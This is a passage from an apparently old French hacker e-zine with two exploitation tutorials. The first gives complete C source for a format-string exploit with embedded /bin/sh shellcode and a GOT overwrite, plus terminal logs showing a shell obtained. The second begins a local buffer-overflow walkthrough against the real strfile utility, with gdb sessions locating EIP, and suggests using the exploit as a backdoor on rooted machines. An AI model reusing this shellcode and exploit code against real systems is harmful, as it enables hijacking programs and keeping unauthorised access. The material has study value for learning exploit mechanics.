(1024); strcpy (string, "jonny boy!!! ;)"); printf ("\nRETLOC (Adresse de string) -> 0x%x\n", (int) string); printf ("string avant attaque -> %s\n", string); printf (argv[1]); // ayoyoyoyoyoyoyoyoye :-P printf ("\nstring apres attaque -> %s\n", string); return 1; } --] eof guaylejs@ariel [~/codez/format_string/mindkind]$ gcc test.c -o test guaylejs@ariel [~/codez/format_string/mindkind]$ ./test RETLOC (Adresse de string) -> 0x8049708 string avant attaque -> jonny boy!!! ;) string apres attaque -> jonny boy!!! ;) guaylejs@ariel [~/codez/format_string/mindkind]$ Ce que nous voulons faire, c'est exploiter l'erreur de format afin de pouvoir changer la string que nous allons imprimer à l'écran la deuxième fois. Si, lors de l'exploitation normale d'une format string nous pouvons écrire 4 bytes et saisir le contrôle du programme, alors pourquoi ne pas essayer d'écrire une chaîne de caractères au complet à un certain endroit en mémoire ? Premièrement, prenons note de la valeur de retour de la fonction malloc. Malloc nous retourne un pointeur vers la zone de mémoire allouée, qui est en l'occurrence la zone mémoire que nous voulons aussi écraser. guaylejs@ariel [~/codez/format_string/mindkind]$ ltrace ./test | grep malloc malloc(1024) = 0x08049708 guaylejs@ariel [~/codez/format_string/mindkind]$ Donc nous voyons que la valeur que nous voulons ré-écraser en mémoire est de 0x08049708, c'est-à-dire notre retloc. Ensuite, trouvons la distance et le padding dont nous avons besoin pour avoir le contrôle sur la chaîne. Rappelons-nous que le 'mode 1' est utilise lorsque nous voulons trouver l'alignement et le padding, tandis que le 'mode 2' va écrire nos valeurs en mémoire. Pour trouver le bon alignement et le bon padding, nous devons avoir notre search-value, 0x41414141, tout de suite après le dernier point (.), aligné sur 4 bytes. Ce qui va vouloir dire qu'à partir de maintenant, nous avons le contrôle sur notre buffer. Vous pouvez retrouver une copie du code lib.c que j'utilise dans les exemples ainsi que les fonctions qui génèrent les format strings à la fin de l'article. Voyons voir, disait l'aveugle : guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 110 0 0x8049708 test 1 [debut du garbage...] . 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 8049708.bfffeac8.40038326. 2.bfffeaf4.bfffeb00. 8048540. 0.bfffeac8.400382f6.40015094. 2. 8048380.bfffeaf4.40038268.40138ac8. 0. 80483a1. 8048470. 2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634. 2.bfffebf2.bfffebf7. 0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49. bffffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd7 0. bffffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3 f.bfffffed. 0. 10. 8001bf. 6. 1000. 11. 64. 3. 8048034. 4. 20. 5. 6. 7.40000000. 8. 0. 9. 8048380. b. cf6. c. cf6. d. 34d. e. 34d. f.bfffebed. 0. 0. 0. 0. 0.38356900.65740036. 41007473.be414141. -------------------------------------------------------- --- ---------------^^---------^^^^^^ 8babeba.be080497. 9babeba.be080497. ababeba.be080497. bbabeba.be080497. cbabeba 7722773992e783825 7796306292e783825 7796306292e783825 [fin du garbage...] Comme nous le voyons lors du output de notre programme, notre search value 0x41414141 n'est pas tout a fait la valeur après le dernier point. La valeur après le dernier point est 0xcbabeba. Essayons maintenant de creuser plus profondément dans la stack, avec une plus grande distance : guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 0 0x8049708 test 1 [debut du garbage...] . 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 8049708.bfffeac8.40038326. 2.bfffeaf4.bfffeb00. 8048540. 0.bfffeac8.400382f6.40015094. 2. 8048380.bfffeaf4.40038268.40138ac8. 0. 80483a1. 8048470. 2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634. 2.bfffebf2.bfffebf7. 0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bffffc5c.bffffc79.bffff c84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bffffd77.bffffd9f.bff ffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.bfffffed. 0. 10. 8001bf. 6. 1000. 11. 64. 3. 8048034. 4. 20. 5. 6. 7.40000000. 8. 0. 9. 8048380. b. cf6. c. cf6. d. 34d. e. 34d. f.bfffebed. 0. 0. 0. 0. 0.38356900.65740036.41007473.be414141 ------------------------------------ --------------------------------------^^---------^^^^^^ 146456250be080497 163233466be080497 180010682be080497 [fin du garbage...] Yay ! Nous avons enfin atteint la bonne distance pour rejoindre le début du buffer que nous contrôlons. Reste maintenant juste à trouver le bon alignement pour être capable d'aligner sur 4 bytes nos données. guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 test 1 [debut du garbage...] . 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 804970 8.bfffeac8.40038326. 2.bfffeaf4.bfffeb00. 8048540. 0.bfffeac8.400382 f6.40015094. 2. 8048380.bfffeaf4.40038268.40138ac8. 0. 80483a1. 8048 470. 2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634. 2.bfff ebf2.bfffebf7. 0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bff ffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bf fffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.b fffffed. 0. 10. 8001bf. 6. 1000. 11. 64. 3. 8048034. 4. 20. 5. 6. 7.40000000. 8. 0 . 9. 8048380. b. cf6. c. cf6. d. 34d. e. 34d. f.bfffebed. 0. 0. 0. 0. 0.383569 00.65740036.2e007473.41414141 ---------------------^^^^^^^^ -11619054748049708 -11619054748049709 -116190 [fin du garbage...] Finalement, nous avons réussi à trouver les bonnes valeurs pour enfin contrôler notre buffer, nous avons trouvé comme distance 101 et comme alignement 1. De plus nous possédons notre retloc, égale à 0x8049708. Essayons maintenant d'appeler `lib` avec les arguments précis. guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib ./lib guaylejs@ariel [~/codez/format_string/mindkind]$ guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 "yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P" 2 | grep string RETLOC (Adresse de string) -> 0x8049708 string avant attaque -> jonny boy!!! ;) string apres attaque -> yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P guaylejs@ariel [~/codez/format_string/mindkind]$ Et voilà le travail ! Nous avons modifier une string en mémoire ! C'est bien beau être capable d'écrire une string en mémoire, mais comment cela peut-il nous faciliter le travail lorsque nous voulons exploiter un programme ? --[ Écrivons le shellcode en mémoire Nous sommes maintenant capables d'écrire une string en mémoire, à une adresse que nous déterminons. Tout le monde sait aussi qu'un shellcode c'est une string. Donc si nous savons à quel endroit en mémoire nous pouvons placer notre string (shellcode), nous savons automatiquement quelle sera la valeur de retadr, sans avoir besoin de la bruteforcer. Nous allons donc éliminer un 'offset' à bruteforcer, donc plus de chances pour que l'exploitation fonctionne. Plusieurs endroits différents s'offrent à nous pour placer notre shellcode en mémoire qui seront valides. Je vous en présente 2 qui sont intéressantes à travailler. Pour saisir le contrôle de votre EIP, j'utilise l'écrasement d'une entrée dans GOT... Vous pouvez tout aussi bien utiliser une des techniques précédemment mentionnées dans le 'rappel' : Présentons maintenant le prototype de la fonction qui sera utilisée pour écrire le shellcode en mémoire : void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode); - buffer : Le buffer qui contiendra la format string - int dist : La distance jusqu'au début du buffer que nous controlons - int align : Une valeur de 0 à 3 définissant l'alignement sur 4 bytes - int retloc : L'endroit que où nous voulons écrire la string - int retadr : L'endroit où nous voulons écrire le shellcode, et la valeur que nous allons écraser retloc avec. - int mode : 1 pour le mode d'alignement, et 2 pour écrire en mémoire. (le mode d'alignement nous permet de trouver exactement la distance et l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons écrire en mémoire; voir code) --[ Écrivons-le où exactement ?!?! - Après une entrée dans la GOT Ici, nous allons écraser une entrée dans la GOT d'une fonction qui sera utilisée sous peu après la fonction de formatage vulnérable... Nous allons faire pointer l'entrée de la GOT que nous avons choisie avec l'adresse de GOT[index de la fonction] + 4. C'est évident; maintenant, au lieu d'avoir à chercher le 'retadr' qui contient notre shellcode, nous allons nous même écrire notre shellcode après l'adresse que nous avons trouvée, ce qui élimine la recherche de notre 'retadr'. C'est à cet endroit que nous allons placer notre shellcode. Examinons un peu l'image de notre process lorsque nous allons rouler le programme, et voir si nous n'écrasons rien en mémoire d'important lorsque nous allons insérer notre shellcode. Examinons les différentes sections lorsqu'elles seront mappées en mémoire [4]: guaylejs@ariel [~/codez/format_string/mindkind]$ readelf -S ./test There are 30 section headers, starting at offset 0x29b0: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 080480f4 0000f4 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048108 000108 000020 00 A 0 0 4 [...] ->[19] .got PROGBITS 08049620 000620 000028 04 WA 0 0 4 [20] .dynamic DYNAMIC 08049648 000648 0000a0 08 WA 5 0 4 [21] .sbss PROGBITS 080496e8 0006e8 000000 00 W 0 0 1 [22] .bss NOBITS 080496e8 0006e8 000018 00 WA 0 0 4 [23] .stab PROGBITS 00000000 0006e8 00078c 0c 24 0 4 [24] .stabstr STRTAB 00000000 000e74 0018f7 00 0 0 1 [25] .comment PROGBITS 00000000 00276b 0000e4 00 0 0 1 [...] Donc nous voyons que nous avons un jeu après notre GOT pour pouvoir écrire notre shellcode, après les sections suivantes (.dynamic et .bss) [4]. Si nous écrasons une de ces 2 sections, nous n'allons pas modifier le comportement du programme d'ici l'exploitation, car rien de critique n'accède à ces données entre l'écrasement de la GOT et l'hijack du programme. Les sections .stab, .stabstr et suivantes ne sont pas mappées en mémoires car elles possèdent une adresse égale à 0x000000000. Pour l'exemple que je vais vous montrer, nous allons utiliser l'entrée de 'printf' dans la GOT : guaylejs@ariel [~/codez/format_string/mindkind2]$ objdump -R test | grep printf 0804963c R_386_JUMP_SLOT printf guaylejs@ariel [~/codez/format_string/mindkind2]$ Nous avons donc notre retloc qui est égale à 0x0804963c. Nous allons donc placer notre shellcode à 0x0804963c+4, donc 0x08049640. guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib ./lib guaylejs@ariel [~/codez/format_string/mindkind2]$ guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0x08049640 2 [...] bash$ Yes sir ! Nous avons réussi à l'exploiter... Essayons maintenant de mettre le shellcode sur la stack... - Somewhere into the staccccck Maintenant, essayons d'insérer notre shellcode à un autre endroit en mémoire. Plaçons-le, pour cet exemple, directement sur la stack. Appelons notre programme de la même façon que précédemment, mais changeons l'emplacement de notre retadr, et d'ainsi l'endroit où notre shellcode va être entreposé : guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0xbffffdaa 2 [...] bash$ Vous commencez sûrement à piger le concept ! Bref, avec cette technique, le seul offset que nous avons à trouver, c'est le retloc. Notre shellcode, nous pouvons le placer où nous voulons en mémoire, en s'assurant bien sûr que nous avons le droit d'écrire à cet endroit dans la mémoire, et que nous n'écrasons pas de valeurs importantes pour ne pas déranger le déroulement du programme, du moins jusqu'à temps que nous saisissons le contrôle sur celui-ci. --[ Conclusion Malgré le fait que les attaques par format string se font de plus en plus rares, il reste toujours intéressant de jouer avec une telle méthode d'exploitation, car elle est très flexible et nous pouvons faire pas mal ce que nous voulons en mémoire. En espérant que cet article vous a ouvert l'esprit sur l'exploitation et qu'il vous a aussi donné le goût d'en savoir plus... --[ Le code --[ lib.c /* Cette version du programme nous permettra d'écrire un shellcode en mémoire et de prendre le contrôle du programme à l'aide d'un format string attack. Pour écrire en mémoire une string de votre choix, (strcpy improvisé), veuillez échanger le main () qui suit avec le main () en commentaires à la fin du code. Codé par g463 */ #include #include #include #include #define DUMMY 0xbabebabe // si taimes les lesbi. //#define DUMMY 0xdeadbabe // ou la necrophilie... #define SEARCH 0x41414141 char sc_linux[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; #define ALIGN_MODE 1 #define EXPLOIT_MODE 2 char *write_4 (char *buffer, long what); char *search_dist (char *buffer, int dist); void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode); void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode); void usage (char *progname); int main (int argc, char *argv[]) { char *buffer = (char *) malloc (4096); int i, j; int retloc, retadr; if (argc != 6) usage (argv[0]); memset (buffer, 0x42, sizeof (buffer)); retloc = strtoul (argv[3], NULL, 16); retadr = strtoul (argv[4], NULL, 16); write_sc_fmt (buffer, atoi (argv[1]), atoi (argv[2]), retloc, retadr, sc_linux, atoi (argv[5])); // Make sure the lenght of our buffer is always fixed for (i = 0; i < 4096; i++) if (buffer[i] == 0x0) buffer[i] = 0x42; buffer[i] = 0x0; execl ("./test", "test", buffer, (char *) 0); return 0; } char *write_4 (char *buffer, long what) { int i = 0; buffer[i++] = (what & 0x000000ff); buffer[i++] = (what & 0x0000ff00) >> 8; buffer[i++] = (what & 0x00ff0000) >> 16; buffer[i++] = (what & 0xff000000) >> 24; return (char *) &buffer[i]; } char *search_dist (char *buffer, int dist) { int i; char pop_it[] = ".%8x"; for (i = 0; i < dist; i++) strcat (buffer, pop_it); return (char *) (buffer + (strlen (pop_it) * dist)); } void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode) { char *ptr = buffer, *what_ptr; int written_bytes = 0, write_byte, padding; int i; for (i = 0; i < align; i++) { buffer[i] = '.'; written_bytes++; ptr++; } ptr = write_4 (ptr, SEARCH); written_bytes += 4; // Pushons les adresses pour notre retadr for (i = 0; i < 4; i++) { ptr = write_4 (ptr, DUMMY); ptr = write_4 (ptr, retloc+i); } written_bytes += (4 * (i * 2)); // Pushons les adresses pour notre string for (i = 0; i < strlen (what) + 1; i++) { ptr = write_4 (ptr, DUMMY); ptr = write_4 (ptr, retadr+i); } written_bytes += (4 * (i * 2)); ptr = search_dist (ptr, dist); written_bytes += (dist * 9); what_ptr = what; for (i = 0; i < (strlen (what) + 1 + 4); i++) { if (i < 4) { write_byte = (retadr & 0x000000ff) + 0x100; retadr = retadr >> 8; } else { write_byte = what_ptr[i-4] + 0x100; } written_bytes %= 0x100; padding = (write_byte - written_bytes) % 0x100; if (padding < 14) padding += 0x100; ptr = buffer + strlen (buffer); if (mode == ALIGN_MODE) sprintf (ptr, "%%%dd%%x", padding); else sprintf (ptr, "%%%dd%%n", padding); written_bytes += padding; } } void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) { char *ptr = buffer, *what_ptr; int written_bytes = 0, write_byte, padding; int i; for (i = 0; i < align; i++) { buffer[i] = '.'; written_bytes++; ptr++; } ptr = write_4 (ptr, SEARCH); written_bytes += 4; for (i = 0; i < strlen (what) + 1; i++) { ptr = write_4 (ptr, DUMMY); ptr = write_4 (ptr, retloc+i); } written_bytes += (4 * (i * 2)); ptr = search_dist (ptr, dist); written_bytes += (dist * 9); what_ptr = what; for (i = 0; i < (strlen (what) + 1); i++) { write_byte = what_ptr[i] + 0x100; written_bytes %= 0x100; padding = (write_byte - written_bytes) % 0x100; if (padding < 14) padding += 0x100; ptr = buffer + strlen (buffer); if (mode == ALIGN_MODE) sprintf (ptr, "%%%dd%%x", padding); else sprintf (ptr, "%%%dd%%n", padding); written_bytes += padding; } } /* int main (int argc, char *argv[]) { char *buffer = (char *) malloc (4096); int i, j; int retloc; if (argc != 6) usage (argv[0]); memset (buffer, 0x42, sizeof (buffer)); retloc = strtoul (argv[3], NULL, 16); write_string_fmt (buffer, atoi (argv[1]), atoi (argv[2]), retloc, argv[4], atoi (argv[5])); // Make sure the lenght of our buffer is always fixed for (i = 0; i < 4096; i++) if (buffer[i] == 0x0) buffer[i] = 0x42; buffer[i] = 0x0; execl ("./test", "test", buffer, (char *) 0); return 0; } */ --] eof --[ Références [1] : Wu-ftpd exploit http://packetstormsecurity.nl/9903-exploits/wu-ftpd-beta18-root.txt [2] : Sudo exploit http://www.synnergy.net/downloads/exploits/vudo.c [3] : Format String exploitation http://www.team-teso.net/releases/formatstring-1.2.tar.gz [4] : Documentation ELF http://www.muppetlabs.com/~breadbox/software/ELF.txt --[ Remerciements pour cet article * à #mindkind, pour le support, l'entraide, l'énergie et surtout leur patience ;) * à #2e2h pour l'entraide et les idées sur les format strings attacks ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / g463@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' Mindkind Nord-Korean Nuclear Facility. Producing EliteActive E-zine ... And some usefull mass-destruction weapon ... ############################ ###``````````````````### ##````````````````## #````````````````# #```````````````############################ #````````````````####``````````````````### #````````````````# ##````````````````## #````````````````# #````````````````# #````````````````# #````````````````# #````````````````# #````````````````# ##````````````````## #````````````````# ###``````````````````####````````````````# ####````````````````````###````````````````# ######````````````````````````#````````````````# ##################################````````````````## ,,,,,,,,,,,,,,,,,,,,,,,,,,, ###``````````````````### / /| ####````````````````````#### +-------------------------+ | ######````````````````````````###### | | | ########################################## | [] [] [] [] [] [] [] [] | | ,,,,,,,,,,,,,,,,,,,,,,,,,,, | | | / /| | [] [] [] [] [] [] [] [] | |+-------------------------+ | | +--| || | | | [] [] [] [] [] [] [] |oo| || [] [] [] [] [] [] [] [] | | | | '|/ | | | ''''''''''''''''''''''''''' | [] [] [] [] [] [] [] [] | | | +--| | | [] [] [] [] [] [] [] |oo| | | | '|/ -init_null ''''''''''''''''''''''''''' __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.09 Buffer Overflow pour les 0x90 \ \ ! . aka \ \ . ; When doing a local buffer overflow is easier than \ \ : : finding a girlfriend \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Cet article traitera de comment faire un buffer overflow sur un exécutable linux i386 ia32 local. Contrairement aux articles déjà paru sur les buffers overflow de type local, nous n'utiliserons pas d'exemple préfab. Nous tenterons (et réussirons) d'exploiter strfile, un utilitaire du package bsd-games (fortune cookie) dans un environnement linux slackware 8.0 . L'accent sera mit sur le comment plus que le pourquoi, le but de cet article étant de démontrer en milieu réel la création d'un exploit de type buffer overflow local. Là où ça se passe vraiment quoi. Des connaissances minimums en système d'exploitation linux et en programmation (les codes présentés ici seront en C et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement une non-compréhension de cet article, il est tout à fait possible de comprendre les exemples donnés si vous pratiquez déjà la programmation sous un autre langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers overflow. L'accent sera donc mit sur ce qui est important pour réussir. Je proposerais aussi une solution tout en un qui permettra d'exploiter la plupart des buffers overflow d'argument local avec un seul exploit. Strfile n'est pas suid root, mais on peut se servir de cet exploit comme une backdoor sur une machine déjà rooté. L'article sera séparé en 2 parties majeures, la première partie, théorique, récapitule de façon généralisé ce qui est nécessaire de savoir. Cette théorie a déjà été expliqué de différentes façons, je la reprends donc ainsi a la mienne en tant qu'introduction à l'exploit de strfile. Nous en venons donc à la 2ème section qui traitera de l'exploitation de strfile de façon pratique et se terminera par la confection d'un exploit en C. La théorie Un buffer overflow se produit lorsqu'on tente d'écrire en mémoire le contenu d'une variable dont la grandeur en bytes dépasse celle prévue à cet effet par le programme lui-même. Les données qui se retrouverons en surplus iront réécrire par dessus les valeurs précédentes dans la stack (la stack étant la partie de mémoire où sont stockés les arguments et les variables locales). Pourquoi celle qui précède ? Et bien car dans la stack tout ce qui est inscrit débute à la fin, un peu comme lorsqu'un arabe écrit. Donc la première variable à entrer sera à la fin de la stack. Ensuite la deuxième variable viendra s'ajouter "en dessous". Mais pourquoi donc si la 2ème variable est overflowée son contenu viendra se déverser dans la première ? Et bien c'est que dans chaque variable le contenu est écrit du bas vers le haut dans l'espace allouée à cette variable. wtf ? Un ascii s'impose afin de mieux digérer tout ça. End of user Memory ,----------------, | | bon la stack est la zone situer à la fin de la mémoire | S | | allouée par le OS à un process. Dans cette zone sont | T | | situées toute les variables utilisées par le process. | A | | Pour une procédure qui contient 4 variables, la première | C | | s'installera dans le haut de la stack la 2ième viendra | K | | ensuite en dessous de la première et la 3ième en dessous | | | de la 2ième et ainsi jusqu'à la fin. | | | | \ / | | ' | |________________| End of user Memory ,----------------, |1ère procédure | S | | var1 / \ | T | | var2 | | A | | var3 | | C | | var4 | | K | |________________| | |2ième procédure | | | var1 / \ | \ / | var2 | | ' | var3 | | | var4 | | | | ____ ,------------------------------------------------- / \ | Bien que ça ne soit pas nécessaire à la réussite | _ | | d'un buffer overflow local, certains d'entre vous | / \ | | aimeraient sans doute avoir un supplément || | | / d'information sur la stack et l'organisation de la (.) (.)| / mémoire en général. || | | <__ || | | | | Pour chaque process (un process étant un programme || | | | | s'exécutant) une zone de mémoire virtuelle de |____/|| | | 4 gig est définie. Cette zone est divisée en 2, |\___/ | | | l'espace kernel et l'espace user. C'est avec l'espace || | | | | user que nous aurons affaire dans cet article. || | | | | Voici donc à quoi ressemble la totalité de la || | | | | mémoire. || | | | \___/ | | | ,----------------, \______/ | K | Cette zone mémoire n'est accessible | E | que par le kernel, il est impossible | R | pour un user d'y lire ou d'y écrire. | N S | | E P | | L A | | C | | E | | | | | | | | | |________________| | | C'est dans la stack que sont storées | | | les arguments et les variables locales | STACK | | d'une procédure, chaque procédure | \ / | d'un programme dispose de son endroit | ' | dans la stack qui est appelé | / \ | "FRAME". c'est à l'intérieure d'un | HEAP | | de ces frames que nous ferons notre | | | buffer overflow. Le heap sert à |________________| storer les vars dynamiques ex :malloc(). | BSS | c'est dans le bss que se retrouve |________________| les données globales non initialisées. | DATA | le data est défini par les |________________| constantes. | TEXT | C'est dans le segment text que se |________________| trouve le code à exécuter. Cette partie est unwritable. La mémoire réservée à la stack débute à l'adresse 0xbfffffff. En fait, il s'agit de la fin de l'espace user puisque la stack se lit a l'envers du reste de la mémoire. Tel que démontré dans le graphique. Bref qu'on dise que la user space fini a 0xbfffffff ou que la stack débute à 0xbfffffff, c'est la même chose. Dans la stack les données s'empilent vers le bas en suivant la loi fondamentale, last in first out. C'est à dire que le dernier entré est le premier à en sortir. Bon, tout ça est bien beau, mais a quoi ça sert ? He bien, lors de la création d'une procédure, le système se donne 2 indices qui lui permettrons de se repérer par la suite. Il s'agit de 2 registes, qui contiennent les endroits en mémoires ou retourner lorsque la procédure aura fini d'être appliquée, il se retrouve au début de la procédure auquel ils sont rattachés, avant les variables.. ces registres sont appelés en ASM eip et ebp. Ainsi donc, lorsqu'on enverra par argument à la variable une valeur dépassant la grandeur réservée en mémoire de celle ci nous pourrons réécrire la valeur de eip et nous le redirigerons à l'adresse mémoire où nous avons créé notre buffer overflow dans lequel nous aurons introduit un shellcode. Le shellcode est une suite d'instructions ASM qui "généralement" sert à exécuter /bin/sh avec les privilèges du programme que nous exploitons. wtf ? End of user Memory ,------------------, |1ère procédure eip| Donc en temps normal, dans eip est S | | ebp| indiqué l'adresse ou devra retourner T | | | en mémoire pour continuer l'exécution A | | var1 / \| du programme. Nous, en faisant un buffer C | | var2 | | overflow, nous disposons de la grandeur K | | var3 | | du buffer pour écrire un programme | | var4 | | que nous ferons exécuter en modifiant | |__________________| eip à la fin de notre buffer overflow \ / |2ème procédure eip| pour qu'il "continue" dans notre code | ebp| a nous que nous avons injecté dans la | | variable via le passage d'un argument. | var1 / \| autrement dit, si notre buffer se situe | var2 | | dans la 3ième variable de la première | var3 | | procédure, nous devrons écraser le | var4 | | contenue des 2 premières variables afin d'accéder au eip. Qu'est-ce que eip et ebp ? eip et ebp sont 2 registres qui contiennent des adresses hexadécimales d'une grandeur de 4 bytes. ebp , extended base pointer, aussi appelé frame pointer, c'est dans ebp que se trouve la location en mémoire du frame précédant. eip , extended instruction pointer réfère à l'adresse où le programme doit jumper pour continuer sainement son exécution. C'est le eip qui nous intéresse, car c'est en modifiant cette valeur que nous pourrons indiquer au process d'aller lire notre shellcode plutôt que de continuer sont exécution tel que prévu. Pourquoi ? Certaines fonctions en C ne prennent pas compte de la grandeur des variables qu'ils copient en mémoire, la plus connu est strcpy(), c'est généralement de strcpy() qu'on se sert dans les textes qui traitent de buffer overflow pour créer un environnement exploitable artificiel. Parmi les autres fonctions vulnérables, on retrouve strcat(), sprintf(), vsprintf(), gets(), et les *scanf(), d'autres fonctions peuvent mener à un buffer overflow dépendamment de leur utilisation. Exemple : #include main (int argc, char *argv[]) { char buffer1[20]; char buffer2[256]; if (argc > 2) { strcpy(buffer1,argv[1]); strcpy(buffer2,argv[2]); } else { printf("this crap needs 2 arguments\r\n"); } } Donc dans ce code, si l'on passe en argument à buffer1 une valeur de plus de 256 bytes, le surplus va déborder dans buffer2 et le programme va continuer son exécution normalement (puisque ce code ne s'attend à aucune valeur en particulier et ne fait rien d'autre que de copier arg1 en mémoire (a l'intérieur de buffer1). Nous allons donc essayer à l'aide de gdb et d'une fonction pratique en Perl de trouver à quel endroit se trouve le eip du code précédant. Lorsque se sera fait, nous pourrons nous attaquer à strfile et créer l'exploit. Le caractère "`" permet de passer une autre commande en argument, c'est donc le résultat de la commande entre `` qui apparaîtra et non la commande elle même. Perl possède le même genre de caractère "'" qui permet les même fonctions, comme c'est 2 balises sont différentes, il nous est donc possible de passer le résultat d'une commande à une autre commande afin d'arriver à un résultat global. Ex: [encoder@localhost encoder]$ echo `perl -e 'print "A"x20'` AAAAAAAAAAAAAAAAAAAA [encoder@localhost encoder]$ Ainsi nous avons passé en commentaire à la commande echo 20 A. Nous nous servirons de cette particularité afin de construire nos buffers tests qui nous servirons à identifier le nombre de bytes nécessaire pour réécrire eip. [encoder@localhost test]$ gdb test2 -q (gdb) r `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Starting program: /home/encoder/hack/test/test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) p $eip $1 = (void *) 0x41414141 (gdb) (41 étant la valeur hexadécimal de A, on sait donc ainsi qu'on a réécrit 4 "A" sur la valeur de eip) Comment savoir le nombre de bytes nécessaire pour remplir un buffer ? He bien, il suffit de compter. eip(4bytes) + ebp(4bytes) + int argc(4bytes) + char* argv[1](3 x 4bytes (2 argument + prog name)) + buffer1(20bytes) + buffer2(256bytes) donc 4 + 4 + 4 + 12 + 20 + 256 = 300 Je dois spécifier que je travail sur un système red hat, et que red hat afin de se protéger des nombreux exploits déjà existant a son égard fait ajouter une valeur de 4 bytes après le ebp. Ainsi donc nous arrivons enfin à notre 304 bytes de buffer. Sous un système slackware, comme nous tenterons d'exploiter plus tard, notre buffer aurait été de 300bytes. Il faut aussi savoir que dans la stack toute les variables sont paddées a 4 bytes. Donc toute les buffers auront nécessairement un multiple de 4 comme grandeur. Une autre façon plus brainless de trouver la réponse aurait été de bruteforcer carrément la grandeur du buffer. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x256'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x266'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x276'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x286'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x296'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x306'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11024 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) quit 306 n'étant pas un multiple de 4, nous pouvons savoir qu'il est impossible que le eip soit correctement écrasé avec un padding de la sorte. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11032 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x42015800 in ?? () (gdb) quit A 300 on ne retrouve pas nos AAAA (41414141) c donc dire que nous n'avons pas réécrit eip. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11040 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) Ici à 304 nous nous rendons compte que nous avons effectivement réécrit eip, afin de nous assurer que nous ne nous sommes pas trompé nous allons donner comme argument un padding de 300 A et de 4 Z afin de 